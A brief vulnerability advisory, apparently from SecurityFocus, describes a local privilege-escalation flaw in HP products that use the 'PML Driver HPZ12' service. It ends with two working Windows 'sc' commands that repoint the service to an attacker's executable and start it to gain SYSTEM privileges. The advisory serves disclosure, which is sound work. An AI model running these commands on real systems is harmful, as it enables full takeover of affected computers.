source: https://www.securityfocus.com/bid/21935/info

Multiple HP products are prone to a local privilege-escalation vulnerability. 

An attacker can exploit this issue to gain SYSTEM-level privileges, completely compromising affected computers. 

This issue affects HP products that use the 'PML Driver HPZ12' driver.

C:\sc config "pml driver hpz12" binpath= D:\attack\attack.exe
C:\sc start "pml driver hpz12"